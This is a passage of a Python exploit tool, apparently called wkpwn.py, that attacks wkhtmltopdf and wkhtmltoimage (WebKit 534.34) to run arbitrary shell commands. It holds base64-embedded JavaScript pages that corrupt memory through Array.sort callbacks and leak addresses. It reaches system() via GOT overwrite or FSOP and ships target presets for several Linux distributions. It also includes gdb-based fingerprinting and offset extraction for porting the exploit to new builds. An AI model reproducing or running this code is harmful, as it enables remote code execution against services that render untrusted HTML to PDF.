N2FiYzAwMDArcTt2dy5wdXNoKHYpO319IHJldHVybiAwO30pOwogIHZhciBjPXt9LGI9bnVsbCxibj0wOyBmb3IodmFyIGk9MDtpPHZ3Lmxlbmd0aDtpKyspe3ZhciB2PXZ3W2ldOwogICAgZm9yKHZhciBrPTA7aysxPHYubGVuZ3RoO2srKyl7dmFyIGxvPXZba10+Pj4wLGhpPXZbaysxXT4+PjA7CiAgICAgIGlmKGhpPjAmJmhpPDB4MTAwMDAmJmxvPjAmJihsbz4+PjE2KSE9PTB4N2FiYyl7dmFyIGtleT1oaSsiOiIrbG87Y1trZXldPShjW2tleV18fDApKzE7CiAgICAgICAgaWYoY1trZXldPmJuKXtibj1jW2tleV07Yj1bbG8saGldO319fX0gcmV0dXJuIGI/KGJbMV0qMHgxMDAwMDAwMDArYlswXSk6MDsKfQpmdW5jdGlvbiBta21hcE4oVGxvLFRoaSxOKXt2YXIgYT1uZXcgQXJyYXkoMTgzKTsKICBhWzBdPVRsbyYweGZmZmY7YVsxXT0oVGxvPj4+MTYpJjB4ZmZmZjthWzJdPVRoaSYweGZmZmY7YVszXT0oVGhpPj4+MTYpJjB4ZmZmZjsKICBhWzRdPU4mMHhmZmZmO2FbNV09MDthWzZdPTA7YVs3XT0wO2FbOF09TiYweGZmZmY7YVs5XT0wO2FbMTBdPTA7YVsxMV09MDtmb3IodmFyIGk9MTI7aTwxODM7aSsrKWFbaV09MDsKICByZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLGEpO30KZnVuY3Rpb24gcmVhZDIobXQsa2VlcGVyLE4pewogIHZhciBsbz1sbzMyKG10KSxoaT1oaTMyKG10KSxjYXA9W107CiAgdmFyIGExPVtdO2Zvcih2YXIgaT0wO2k8Mjg7aSsrKWExW2ldPWtlZXBlcjthMVsyOF09MHg0MTQxMDAwMDthMVsyOV09a2VlcGVyO2ExWzMwXT1rZWVwZXI7YTFbMzFdPWtlZXBlcjthMVszMl09a2VlcGVyO19nYy5wdXNoKGExLGNhcCk7CiAgdmFyIGRpZD1mYWxzZTsKICBhMS5zb3J0KGZ1bmN0aW9uKHgseSl7aWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlO2Zvcih2YXIgZz0wO2c8NDA5NjtnKyspYTEucHVzaChnKTsKICAgIHZhciBzPVtdO2Zvcih2YXIgcT0wO3E8MTUwMDtxKyspcy5wdXNoKG1rbWFwTihsbyxoaSxOKSk7X2djLnB1c2gocyk7fQogICAgZWxzZSBpZihkaWQpe3ZhciBWPW51bGw7aWYoeCE9PWtlZXBlciYmeCE9PTB4NDE0MTAwMDApVj14O2Vsc2UgaWYoeSE9PWtlZXBlciYmeSE9PTB4NDE0MTAwMDApVj15OwogICAgICBpZihWIT09bnVsbCYmdHlwZW9mIFY9PT0ibnVtYmVyIiljYXAucHVzaChWKTt9cmV0dXJuIDA7fSk7CiAgdmFyIGQ9W107Zm9yKHZhciBpaT0wO2lpPGNhcC5sZW5ndGg7aWkrKyl7dmFyIHA9ZnVsbHB0cihjYXBbaWldKTtpZihkLmxlbmd0aD09PTB8fGRbZC5sZW5ndGgtMV0hPT1wKWQucHVzaChwKTt9cmV0dXJuIGQ7Cn0KZnVuY3Rpb24gcmVhZDJyYXcobXQsa2VlcGVyLE4pewogIHZhciBsbz1sbzMyKG10KSxoaT1oaTMyKG10KSxjYXA9W107CiAgdmFyIGExPVtdO2Zvcih2YXIgaT0wO2k8Mjg7aSsrKWExW2ldPWtlZXBlcjthMVsyOF09MHg0MTQxMDAwMDthMVsyOV09a2VlcGVyO2ExWzMwXT1rZWVwZXI7YTFbMzFdPWtlZXBlcjthMVszMl09a2VlcGVyO19nYy5wdXNoKGExLGNhcCk7CiAgdmFyIGRpZD1mYWxzZTsKICBhMS5zb3J0KGZ1bmN0aW9uKHgseSl7aWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlO2Zvcih2YXIgZz0wO2c8NDA5NjtnKyspYTEucHVzaChnKTsKICAgIHZhciBzPVtdO2Zvcih2YXIgcT0wO3E8MTUwMDtxKyspcy5wdXNoKG1rbWFwTihsbyxoaSxOKSk7X2djLnB1c2gocyk7fQogICAgZWxzZSBpZihkaWQpe3ZhciBWPW51bGw7aWYoeCE9PWtlZXBlciYmeCE9PTB4NDE0MTAwMDApVj14O2Vsc2UgaWYoeSE9PWtlZXBlciYmeSE9PTB4NDE0MTAwMDApVj15OwogICAgICBpZihWIT09bnVsbCYmdHlwZW9mIFY9PT0ibnVtYmVyIil7dmFyIGhoPWQydShWKVsxXT4+PjA7IHZhciBmPWZhbHNlOyBmb3IodmFyIG09MDttPGNhcC5sZW5ndGg7bSsrKWlmKGNhcFttXT09PWhoKWY9dHJ1ZTsgaWYoIWYpY2FwLnB1c2goaGgpO319cmV0dXJuIDA7fSk7CiAgcmV0dXJuIGNhcDsKfQpmdW5jdGlvbiBmYWtlb2JqKHhsbyx4aGkpewogIHZhciB2dz1bXSwgY2FwPVtdOyB2YXIgcHJvYmU9e206MX07CiAgdmFyIGExPVtdOyBhMVswXT1wcm9iZTsgYTFbMV09MHg0MTQxMDAwMDsgZm9yKHZhciBpPTI7aTwzMztpKyspIGExW2ldPXByb2JlOyBfZ2MucHVzaChhMSx2dyxjYXApOwogIHZhciBkaWQ9ZmFsc2U7CiAgYTEuc29ydChmdW5jdGlvbih4LHkpeyBpZighZGlkJiYoeD09PTB4NDE0MTAwMDB8fHk9PT0weDQxNDEwMDAwKSl7ZGlkPXRydWU7CiAgICBmb3IodmFyIGc9MDtnPDQwOTY7ZysrKSBhMS5wdXNoKGcpOwogICAgZm9yKHZhciBxPTA7cTwyMDAwO3ErKyl7dmFyIHY9bmV3IFVpbnQzMkFycmF5KDEwMCk7IGZvcih2YXIgdD0xMDt0PDEwMDt0Kz0yKXt2W3RdPXhsbzt2W3QrMV09eGhpO30gdncucHVzaCh2KTt9fQogICAgZWxzZSBpZihkaWQpeyBpZih4IT09cHJvYmUmJnghPT0weDQxNDEwMDAwJiZ0eXBlb2YgeD09PSJvYmplY3QiJiZ4IT09bnVsbCljYXAucHVzaCh4KTsKICAgICAgZWxzZSBpZih5IT09cHJvYmUmJnkhPT0weDQxNDEwMDAwJiZ0eXBlb2YgeT09PSJvYmplY3QiJiZ5IT09bnVsbCljYXAucHVzaCh5KTt9IHJldHVybiAwO30pOwogIHJldHVybiBjYXAubGVuZ3RoP2NhcFswXTpudWxsOwp9CnZhciBUVj1uZXcgVWludDMyQXJyYXkoMHgxNDApOyBmb3IodmFyIGk9MDtpPDB4MTQwO2krKykgVFZbaV09MDsgX2djLnB1c2goVFYpOyAgIC8vIDB4NTAwLWJ5dGUgYmFja2luZywgemVyb2VkCnZhciBSRVM9bmV3IFVpbnQzMkFycmF5KDB4MjApOyBSRVNbMF09MHhGMDBEMDAwMDsgUkVTWzNdPTA7IF9nYy5wdXNoKFJFUyk7CnZhciBBdHY9YWRkcm9mKFRWKSwgQWhpPWhpMzIoQXR2KTsKdmFyIE0wPUF0disweDI0LCBvbG89bG8zMihNMCksIG9oaT1oaTMyKE0wKSwgZGlkPWZhbHNlLCBkb25lPWZhbHNlOwp2YXIgYTE9W107Zm9yKHZhciBpPTA7aTwyODtpKyspYTFbaV09VFY7YTFbMjhdPTB4NDE0MTAwMDA7YTFbMjldPVRWO2ExWzMwXT1UVjthMVszMV09VFY7YTFbMzJdPVRWO19nYy5wdXNoKGExKTsKYTEuc29ydChmdW5jdGlvbih4LHkpewogIGlmKCFkaWQmJih4PT09MHg0MTQxMDAwMHx8eT09PTB4NDE0MTAwMDApKXtkaWQ9dHJ1ZTtmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICB2YXIgcz1bXTtmb3IodmFyIHE9MDtxPDE1MDA7cSsrKXMucHVzaChta21hcE4ob2xvLG9oaSw2KSk7X2djLnB1c2gocyk7fQogIGVsc2UgaWYoZGlkKXsKICAgIHZhciBWPW51bGw7IGlmKHghPT1UViYmeCE9PTB4NDE0MTAwMDAmJnR5cGVvZiB4PT09Im51bWJlciIpVj14OyBlbHNlIGlmKHkhPT1UViYmeSE9PTB4NDE0MTAwMDAmJnR5cGVvZiB5PT09Im51bWJlciIpVj15OwogICAgaWYoViE9PW51bGwgJiYgIWRvbmUpeyBkb25lPXRydWU7CiAgICAgIHZhciBpbXBsPUFoaSoweDEwMDAwMDAwMCsoKGQydShWKVsxXSsweDEwMDAwKT4+PjApOwogICAgICBSRVNbOF09TChpbXBsKTtSRVNbOV09SChpbXBsKTtSRVNbMTZdPTE7CiAgICAgIHZhciBycj1yZWFkMnJhdyhpbXBsLTB4MWMsIFRWLCAzKTsgUkVTWzIzXT1yci5sZW5ndGg7CiAgICAgICAgZm9yKHZhciByaT0wO3JpPHJyLmxlbmd0aCYmcmk8NjtyaSsrKVJFU1syNCtyaV09cnJbcmldOwogICAgICAgIFJFU1szXT0weEYwMEQwMDAxOyBSRVNbMTZdPTk7IHZhciBjcj1yZWFkMnJhdygweDQxNDE0MTAwLCBUViwgMSk7CiAgICAgIH0KICB9CiAgcmV0dXJuIDA7fSk7CmRvY3VtZW50LndyaXRlKCJ4Iik7Cjwvc2NyaXB0PjwvYm9keT48L2h0bWw+Cg=="
EMBEDDED_UULAYOUT_B64 = "PGh0bWw+PGJvZHk+PHNjcmlwdD4KdmFyIF9nYz1bXTsKZnVuY3Rpb24gbG8zMihhKXtyZXR1cm4gKGElMHgxMDAwMDAwMDApPj4+MDt9IGZ1bmN0aW9uIGhpMzIoYSl7cmV0dXJuIE1hdGguZmxvb3IoYS8weDEwMDAwMDAwMCk+Pj4wO30KZnVuY3Rpb24gYWRkcm9mKHQpewogIHZhciB2dz1bXTsgdmFyIGExPVtdOyBmb3IodmFyIGk9MDtpPDMyO2krKykgYTFbaV09dDsgYTFbMzJdPTB4NDE0MTAwMDA7IF9nYy5wdXNoKGExLHZ3KTsgdmFyIGRpZD1mYWxzZTsKICBhMS5zb3J0KGZ1bmN0aW9uKHgseSl7IGlmKCFkaWQmJih4PT09MHg0MTQxMDAwMHx8eT09PTB4NDE0MTAwMDApKXtkaWQ9dHJ1ZTsgZm9yKHZhciBnPTA7Zzw0MDk2O2crKylhMS5wdXNoKGcpOwogICAgZm9yKHZhciBxPTA7cTwyMDAwO3ErKyl7dmFyIHY9bmV3IFVpbnQzMkFycmF5KDEwMCk7dlswXT0weDdhYmMwMDAwK3E7dncucHVzaCh2KTt9fSByZXR1cm4gMDt9KTsKICB2YXIgYz17fSxiPW51bGwsYm49MDsgZm9yKHZhciBpPTA7aTx2dy5sZW5ndGg7aSsrKXt2YXIgdj12d1tpXTsKICAgIGZvcih2YXIgaz0wO2srMTx2Lmxlbmd0aDtrKyspe3ZhciBsbz12W2tdPj4+MCxoaT12W2srMV0+Pj4wOwogICAgICBpZihoaT4wJiZoaTwweDEwMDAwJiZsbz4wJiYobG8+Pj4xNikhPT0weDdhYmMpe3ZhciBrZXk9aGkrIjoiK2xvO2Nba2V5XT0oY1trZXldfHwwKSsxOwogICAgICAgIGlmKGNba2V5XT5ibil7Ym49Y1trZXldO2I9W2xvLGhpXTt9fX19IHJldHVybiBiPyhiWzFdKjB4MTAwMDAwMDAwK2JbMF0pOjA7Cn0KZnVuY3Rpb24gbWttYXBOKFRsbyxUaGksTil7dmFyIGE9bmV3IEFycmF5KDE4Myk7CiAgYVswXT1UbG8mMHhmZmZmO2FbMV09KFRsbz4+PjE2KSYweGZmZmY7YVsyXT1UaGkmMHhmZmZmO2FbM109KFRoaT4+PjE2KSYweGZmZmY7CiAgYVs0XT1OJjB4ZmZmZjthWzVdPTA7YVs2XT0wO2FbN109MDthWzhdPU4mMHhmZmZmO2FbOV09MDthWzEwXT0wO2FbMTFdPTA7Zm9yKHZhciBpPTEyO2k8MTgzO2krKylhW2ldPTA7CiAgcmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUuYXBwbHkobnVsbCxhKTt9CnZhciB1dT1uZXcgVWludDMyQXJyYXkoMHg0MCk7IGZvcih2YXIgaT0wO2k8MHg0MDtpKyspIHV1W2ldPTB4MjIyMjAwMDAraTsgX2djLnB1c2godXUpOwp2YXIgQT1hZGRyb2YodXUpOwp2YXIgTUFSSz1uZXcgVWludDMyQXJyYXkoMHg0MCk7IE1BUktbMF09MHhGMDBEMDAwMDsgTUFSS1sxXT1sbzMyKEEpOyBNQVJLWzJdPWhpMzIoQSk7IE1BUktbM109MHhGMDBEMDAwMTsgX2djLnB1c2goTUFSSyk7CnZhciBvbG89bG8zMihBLTIpLCBvaGk9aGkzMihBLTIpLCBkaWQ9ZmFsc2U7CnZhciBhMT1bXTtmb3IodmFyIGk9MDtpPDI4O2krKylhMVtpXT11dTthMVsyOF09MHg0MTQxMDAwMDthMVsyOV09dXU7YTFbMzBdPXV1O2ExWzMxXT11dTthMVszMl09dXU7X2djLnB1c2goYTEpOwphMS5zb3J0KGZ1bmN0aW9uKHgseSl7CiAgaWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlO2Zvcih2YXIgZz0wO2c8NDA5NjtnKyspYTEucHVzaChnKTsKICAgIHZhciBzPVtdO2Zvcih2YXIgcT0wO3E8MTUwMDtxKyspcy5wdXNoKG1rbWFwTihvbG8sb2hpLDYpKTtfZ2MucHVzaChzKTt9CiAgcmV0dXJuIDA7fSk7CmRvY3VtZW50LndyaXRlKCJkb25lIik7Cjwvc2NyaXB0PjwvYm9keT48L2h0bWw+Cg=="

# Extra BUILD rows learned via --extract/--port. Each entry is a full JS `else if(...){...}`
# clause; injected into the exploit's build table at runtime. Paste --extract's build row here.
EXTRA_ROWS = [
]

# Extra GLIBC rows learned via --extract (for FSOP / useGOT=0 targets on a libc we don't
# ship yet). Each entry is a full JS `if(po===0x..){ go=..; so=..; ... }` clause; injected
# into the exploit's glibc table at runtime. Paste --extract's glibc row here.
EXTRA_GLIBC = [
]

# fpwk (build) + po (glibc) fingerprints already baked into the embedded page (see TARGETS.md).
KNOWN     = {0xa90, 0xba8, 0xfa8, 0x228, 0x7e8, 0xa68, 0x968, 0x1a8, 0x9e8,0xec8,0x328}
KNOWN_PO  = {0xc50, 0x0b0, 0xd10, 0xc0, 0xb70, 0x8a0,0x7b0}
CMD_TOKEN = "id>/tmp/pwn 2>&1"
DN        = subprocess.DEVNULL

# Pre-built test targets on the dev box (interactive-menu items 5-10).
# (label, mode, docker-image-or-local-path, binary, exploitation-technique)
PRESETS = [
    ("upstream static 0.12.6.1   pdf",   "docker", "wkhtml-native",                "wkhtmltopdf",   "PIE, GOT overwrite"),
    ("upstream static 0.12.6.1   image", "docker", "wkhtml-native",                "wkhtmltoimage", "PIE, GOT overwrite"),
    ("CentOS 7 RPM 0.12.6        pdf",   "docker", "al2wk",                        "wkhtmltopdf",   "non-PIE, FSOP"),
    ("Amazon Linux 2 RPM 0.12.6  pdf",   "docker", "aml2wk",                       "wkhtmltopdf",   "non-PIE, FSOP"),
    ("Ubuntu jammy 0.12.6.1      pdf",   "local",  "/usr/local/bin/wkhtmltopdf",   "wkhtmltopdf",   "Full-RELRO PIE, FSOP"),
    ("Ubuntu jammy 0.12.6.1      image", "local",  "/usr/local/bin/wkhtmltoimage", "wkhtmltoimage", "Full-RELRO PIE, FSOP"),
]

_WORK = None
def work():
    global _WORK
    if _WORK is None:
        _WORK = tempfile.mkdtemp(prefix="wkpwn.")
    return _WORK

def _html():
    s = base64.b64decode(EMBEDDED_HTML_B64).decode()
    rows = [r.strip() for r in EXTRA_ROWS if r.strip()]
    if rows:
        anchor = s.index("for(var fi=0;fi<rr.length")
        close  = s.index("\n      }", anchor)     # closing brace of the build-table loop
        s = s[:close] + "".join("\n        " + r for r in rows) + s[close:]
    grows = [r.strip() for r in EXTRA_GLIBC if r.strip()]
    if grows:
        eol = s.index("\n", s.index("if(po===0xc0){"))  # after the last shipped glibc row
        s = s[:eol] + "".join("\n        " + r for r in grows) + s[eol:]
    return s

def _probe():
    return base64.b64decode(EMBEDDED_PROBE_B64).decode()

def _uulayout():
    return base64.b64decode(EMBEDDED_UULAYOUT_B64).decode()

# ============================ runner ========================================
def build_run_html(cmd, mode):
    # You pass ONLY the command; its output is auto-captured to /tmp/pwn and printed.
    full = cmd if "/tmp/pwn" in cmd else cmd + ">/tmp/pwn 2>&1"
    # FSOP fires system() with a <=32-byte string. If longer, stage the real command in a
    # short script on the target and inject `sh <script>` instead -> length stops mattering.
    if len(full) > 32:
        if mode == "docker":
            open(os.path.join(work(), "stage.sh"), "w").write(full + "\n")
            full = "sh /work/stage.sh"
        else:
            open("/tmp/.wkstage", "w").write(full + "\n")
            full = "sh /tmp/.wkstage"
    esc = full.replace("\\", "\\\\").replace('"', '\\"')
    s = _html()
    if CMD_TOKEN not in s:
        sys.exit("!! embedded page is missing the '%s' command token" % CMD_TOKEN)
    p = os.path.join(work(), "run.html")
    open(p, "w").write(s.replace(CMD_TOKEN, esc))
    return p

def run_once(mode, target, binary, run_path):
    if mode == "local":
        try: os.remove("/tmp/pwn")
        except OSError: pass
        subprocess.run([target, run_path, "/tmp/o"], stdout=DN, stderr=DN)
        try: return open("/tmp/pwn").read()
        except OSError: return ""
    sh = ("rm -f /tmp/pwn; %s /work/%s /tmp/o >/dev/null 2>&1 || true; cat /tmp/pwn 2>/dev/null"
          % (binary, os.path.basename(run_path)))
    r = subprocess.run(["docker", "run", "--rm", "-v", "%s:/work" % work(),
                        "--entrypoint", "/bin/sh", target, "-c", sh],
                       stdout=subprocess.PIPE, stderr=DN, text=True)
    return r.stdout

def attack(mode, target, binary, cmd, count):
    label = ("local " if mode == "local" else "") + target
    print("== target: %s   binary: %s   cmd: '%s'   attempts: %d ==" % (label, binary, cmd, count))
    run_path = build_run_html(cmd, mode)
    for _ in range(count):
        out = run_once(mode, target, binary, run_path)
        if out.strip():
            print("-- SUCCESS (output of: %s) --------------------------------" % cmd)
            print(out.rstrip()); print("-" * 60); return True
    print("-- no output after %d attempts. Fingerprinting the build... --" % count)
    fingerprint(mode, target, binary)
    return False

# ============================ fingerprint ===================================
def scan_core(path):
    try: d = open(path, "rb").read()
    except OSError: return None, None
    j = d.find(struct.pack("<I", 0xF00D0000))
    while j >= 0:
        g = lambda k: struct.unpack("<I", d[j + k*4: j + k*4 + 4])[0]
        impl = g(8) | g(9) << 32
        if 0x100000000 <= impl <= 0x800000000000 and g(16) == 9 and 0 < g(23) <= 6:
            return impl, [g(24 + i) for i in range(g(23))]
        j = d.find(struct.pack("<I", 0xF00D0000), j + 1)
    return None, None

def fingerprint(mode, target, binary, verdict="diag"):
    probe_path = os.path.join(work(), "probe.html")
    open(probe_path, "w").write(_probe())
    if mode == "local":
        core, gs = os.path.join(work(), "diag.core"), os.path.join(work(), "fp.gdb")
        open(gs, "w").write("set pagination off\nset disable-randomization on\n"
                            "run %s /tmp/o\ngenerate-core-file %s\nquit\n" % (probe_path, core))
        subprocess.run(["gdb", "-q", "-batch", "-x", gs, target], stdout=DN, stderr=DN)
    else:
        core = os.path.join(work(), "diag.core")
        open(os.path.join(work(), "fp.gdb"), "w").write(
            "set pagination off\nset disable-randomization on\n"
            "run /work/probe.html /tmp/o\ngenerate-core-file /work/diag.core\nquit\n")
        sh = ("gdb -q -batch -x /work/fp.gdb $(command -v %s || echo /usr/local/bin/%s) >/dev/null 2>&1"
              % (binary, binary))
        subprocess.run(["docker", "run", "--rm", "--cap-add=SYS_PTRACE", "--security-opt",
                        "seccomp=unconfined", "-v", "%s:/work" % work(), "--entrypoint", "/bin/sh",
                        target, "-c", sh], stdout=DN, stderr=DN)
    impl, vals = scan_core(core)
    if impl is None:
        print("  couldn't leak - target may not be WebKit 534.34, JS is disabled, or gdb is missing.")
        return
    print("  leaked impl @ %#x" % impl)
    hit = False
    for v in vals:
        pg = v & 0xfff; known = pg in KNOWN or pg in _extra_fpwk(); hit = hit or known
        print("  fingerprint fpwk = %#05x   (raw 0x%08x)%s"
              % (pg, v, "   (KNOWN - already supported)" if known else "   <- NEW"))
    if hit and verdict == "fp":
        print("  => fpwk is KNOWN (already in the build table).")
    elif hit:
        print("  => fpwk KNOWN but 0 hits -> glibc/RELRO/finisher issue, not the fingerprint.")
    else:
        print("  => NEW build. Leak its full row from scratch (no reference needed):\n"
              "       python3 wkpwn.py --extract %s%s\n"
              "     then paste the printed BUILD row into EXTRA_ROWS at the top of this script\n"
              "     (and the GLIBC row into EXTRA_GLIBC, if it prints one)." %
              (target, "" if mode == "local" else " -b " + binary))

def _extra_fpwk():
    out = set()
    for r in EXTRA_ROWS:
        m = re.search(r"_c===0x([0-9a-f]+)", r)
        if m: out.add(int(m.group(1), 16))
    return out

def _extra_po():
    out = set()
    for r in EXTRA_GLIBC:
        m = re.search(r"po===0x([0-9a-f]+)", r)
        if m: out.add(int(m.group(1), 16))
    return out

# ============================ porter (portwk) ===============================
DEF_REF_BIN = "wkpdf.bin"
DEF_REF = dict(IMPLVT=0x294dfa8, WRAPVT=0x2a67950, STVT=0x2972d60,
               CINFO=0x2a67ae0, STGOT=0x2af0858, GEGOT=0x2af1260)

def _relocs(binpath):
    out = subprocess.run(["readelf", "-Wr", binpath], capture_output=True, text=True).stdout
    rel, jmp = {}, {}
    for ln in out.splitlines():
        p = ln.split()
        if len(p) >= 4 and p[2].startswith("R_X86_64_RELATIVE"):
            try: rel[int(p[0], 16)] = int(p[3], 16)
            except ValueError: pass
        elif len(p) >= 5 and p[2].startswith("R_X86_64_JUMP_SLO"):
            m = re.match(r"([A-Za-z_][A-Za-z0-9_]*)", p[4])
            if m: jmp[m.group(1)] = int(p[0], 16)
    return rel, jmp

def _run(rel, off, n):
    out, o = [], off
    while o in rel and len(out) < n: out.append(rel[o]); o += 8
    return out
def _sig(a): return tuple(a[i+1] - a[i] for i in range(len(a) - 1))

def _match(ref_rel, idx, ref_off, depth=7):
    pr = _run(ref_rel, ref_off, depth)
    if len(pr) < depth: return None, "ref run short (missing/wrong --ref-bin?)"
    ps = _sig(pr); hits = [o for o, s in idx.items() if s == ps]
    if len(hits) == 1: return hits[0], "unique"
    if len(hits) > 1:  return None, "ambiguous(%d)" % len(hits)
    return None, "no-match (ref is a different build; use THIS build's own pdf as --ref-bin)"

def port(target, ref_bin=None, ref_off=None):
    REF = dict(DEF_REF)
    if ref_off:
        for kv in ref_off.split(","):
            k, v = kv.split("="); REF[k.strip()] = int(v, 16)
    ref_rel, _ = _relocs(ref_bin or DEF_REF_BIN)
    tgt_rel, tgt_jmp = _relocs(target)
    idx = {o: _sig(_run(tgt_rel, o, 7)) for o in tgt_rel if len(_run(tgt_rel, o, 7)) == 7}
    res = {}
    for nm in ("IMPLVT", "WRAPVT", "STVT"):
        off, why = _match(ref_rel, idx, REF[nm]); res[nm] = off
        print("  // %-7s %-9s -> %s" % (nm, why, hex(off) if off else "FAIL"), file=sys.stderr)
    if res.get("WRAPVT"): res["CINFO"] = res["WRAPVT"] + (REF["CINFO"] - REF["WRAPVT"])
    res["STGOT"] = tgt_jmp.get("strtol"); res["GEGOT"] = tgt_jmp.get("getenv")
    if None in (res.get("IMPLVT"), res.get("WRAPVT"), res.get("STVT"), res.get("STGOT"), res.get("GEGOT")):
        print("  incomplete:", {k: (hex(v) if v else None) for k, v in res.items()})
        print("  (GOT resolved; vtables need a same-build --ref-bin or a one-time leak.)")
        return None
    fpwk = res["IMPLVT"] & 0xfff
    row = ("else if(_c===0x%x){ IMPLVT=0x%x;WRAPVT=0x%x;STVT=0x%x;CINFO=0x%x;STGOT=0x%x;GEGOT=0x%x;"
           "PIE=1;useGOT=0;fpwk=_c;break; } // %s"
           % (fpwk, res["IMPLVT"], res["WRAPVT"], res["STVT"], res["CINFO"],
              res["STGOT"], res["GEGOT"], os.path.basename(target)))
    print("\n  paste this into EXTRA_ROWS (top of this script), as a quoted string:\n")
    print('    "%s",\n' % row)
    return row

# ==================== extractor (from-scratch, no reference) =================
# Runs the embedded uulayout probe under gdb, cores, and reads the four vtable
# offsets straight out of the core (IMPLVT/WRAPVT/STVT/CINFO) -- then STGOT/GEGOT
# + PIE/RELRO from the ELF. Works on ANY 534.34 build with no reference binary.
def _scan_layout_core(path):
    try: d = open(path, "rb").read()
    except OSError: return None
    ph = struct.unpack("<Q", d[0x20:0x28])[0]
    pn = struct.unpack("<H", d[0x38:0x3a])[0]
    pe = struct.unpack("<H", d[0x36:0x38])[0]
    L = []
    for i in range(pn):
        o = ph + i * pe
        if struct.unpack("<I", d[o:o+4])[0] == 1:                 # PT_LOAD
            off = struct.unpack("<Q", d[o+8:o+16])[0]
            va  = struct.unpack("<Q", d[o+16:o+24])[0]
            fz  = struct.unpack("<Q", d[o+32:o+40])[0]
            if fz: L.append((va, off, fz))
    def u(va):
        for va0, o, s in L:
            if va0 <= va < va0 + s: return struct.unpack("<Q", d[o+(va-va0):o+(va-va0)+8])[0]
        return 0
    def fv(f):
        for va0, o, s in L:
            if o <= f < o + s: return va0 + (f - o)
        return 0
    j = d.find(struct.pack("<I", 0xF00D0000)); i = -1
    while j >= 0:
        if struct.unpack("<I", d[j+12:j+16])[0] == 0xF00D0001: i = j; break
        j = d.find(struct.pack("<I", 0xF00D0000), j + 1)
    if i < 0: return None
    A = struct.unpack("<I", d[i+4:i+8])[0] | struct.unpack("<I", d[i+8:i+12])[0] << 32
    vt, st, impl = u(A), u(A+8), u(A+0x30)
    if not (vt and st and impl): return None
    E = set(); j = d.find(b"\x7fELF\x02\x01\x01")
    while j >= 0:
        v = fv(j)
        if v: E.add(v)
        j = d.find(b"\x7fELF\x02\x01\x01", j + 1)
    cands = [e for e in E if e <= vt and vt - e < 0x4000000]
    if not cands: return None
    mb = min(cands)
    return dict(mb=mb, IMPLVT=u(impl)-mb, WRAPVT=vt-mb, STVT=u(st)-mb, CINFO=u(st+0x40)-mb)

def _elf_meta(binpath):
    h   = subprocess.run(["readelf", "-h", binpath], capture_output=True, text=True).stdout
    dyn = subprocess.run(["readelf", "-d", binpath], capture_output=True, text=True).stdout
    pie  = 1 if re.search(r"Type:\s+DYN", h) else 0
    full = ("BIND_NOW" in dyn) or ("NOW" in dyn and "FLAGS_1" in dyn)
    _, jmp = _relocs(binpath)
    base = 0 if pie else 0x400000
    st, ge = jmp.get("strtol"), jmp.get("getenv")
    return pie, full, (st - base if st else None), (ge - base if ge else None)

def _libc_of(binpath):
    try: out = subprocess.run(["ldd", binpath], capture_output=True, text=True).stdout
    except Exception: out = ""
    m = re.search(r"(/\S*/libc[.\-][^\s]*\.so[^\s]*)", out)
    if m and os.path.exists(m.group(1)): return m.group(1)
    for p in ("/lib64/libc.so.6", "/lib/x86_64-linux-gnu/libc.so.6",
              "/usr/lib/x86_64-linux-gnu/libc.so.6", "/lib/libc.so.6"):
        if os.path.exists(p): return p
    return None

def _glibc_row(libc):
    out = subprocess.run(["readelf", "-sW", libc], capture_output=True, text=True).stdout
    want = dict.fromkeys(("getenv", "system", "_IO_2_1_stderr_", "_IO_wfile_jumps", "_IO_flush_all"))
    for ln in out.splitlines():
        p = ln.split()
        if len(p) < 8: continue
        nm = p[7].split("@")[0]
        if nm in want and want[nm] is None:
            try: want[nm] = int(p[1], 16)
            except ValueError: pass
    if None in want.values(): return None, None, [k for k, v in want.items() if v is None]
    po  = want["getenv"] & 0xfff
    row = ("if(po===0x%x){ go=0x%x; so=0x%x; stream_o=0x%x; wfj_o=0x%x; flush_o=0x%x; }" %
           (po, want["getenv"], want["system"], want["_IO_2_1_stderr_"],
            want["_IO_wfile_jumps"], want["_IO_flush_all"]))
    return po, row, []

def _gdb_core_local(target, probe_path, core):
    gs = os.path.join(work(), "ex.gdb")
    open(gs, "w").write("set pagination off\nset confirm off\nset disable-randomization on\n"
                        "run %s /tmp/o\ngenerate-core-file %s\nquit\n" % (probe_path, core))
    subprocess.run(["gdb", "-q", "-batch", "-x", gs, target], stdout=DN, stderr=DN)

def _gdb_core_docker(target, binary, core):
    open(os.path.join(work(), "ex.gdb"), "w").write(
        "set pagination off\nset confirm off\nset disable-randomization on\n"
        "run /work/uulayout.html /tmp/o\ngenerate-core-file /work/ex.core\nquit\n")
    # also copy the binary (for readelf) and its libc (for the glibc row) out to /work
    b = "$(command -v %s || echo /usr/local/bin/%s)" % (binary, binary)
    sh = ("B=%s; cp $B /work/ex.bin 2>/dev/null; "
          "cp $(ldd $B 2>/dev/null | awk '/libc[.-].*\\.so/{print $3; exit}') /work/ex.libc 2>/dev/null; "
          "gdb -q -batch -x /work/ex.gdb $B >/dev/null 2>&1" % b)
    subprocess.run(["docker", "run", "--rm", "--cap-add=SYS_PTRACE", "--security-opt",
                    "seccomp=unconfined", "-v", "%s:/work" % work(), "--entrypoint", "/bin/sh",
                    target, "-c", sh], stdout=DN, stderr=DN)

def extract(mode, target, binary):
    print("== extracting offsets: %s%s (%s) ==" % ("local " if mode == "local" else "", target, binary))
    open(os.path.join(work(), "uulayout.html"), "w").write(_uulayout())
    core = os.path.join(work(), "ex.core")
    if mode == "local":
        _gdb_core_local(target, os.path.join(work(), "uulayout.html"), core); binpath = target
    else:
        _gdb_core_docker(target, binary, core); binpath = os.path.join(work(), "ex.bin")
    r = _scan_layout_core(core)
    if not r:
        print("  no usable core (probe is heap-fragile -- just re-run --extract; also confirm gdb is present)."); return
    if not os.path.exists(binpath):
        print("  cored ok but couldn't read the binary for GOT/PIE (STGOT/GEGOT missing)."); binpath = None
    pie, full, stgot, gegot = (_elf_meta(binpath) if binpath else (1, True, None, None))
    fpwk = r["IMPLVT"] & 0xfff
    useg = 1 if (pie and not full) else 0
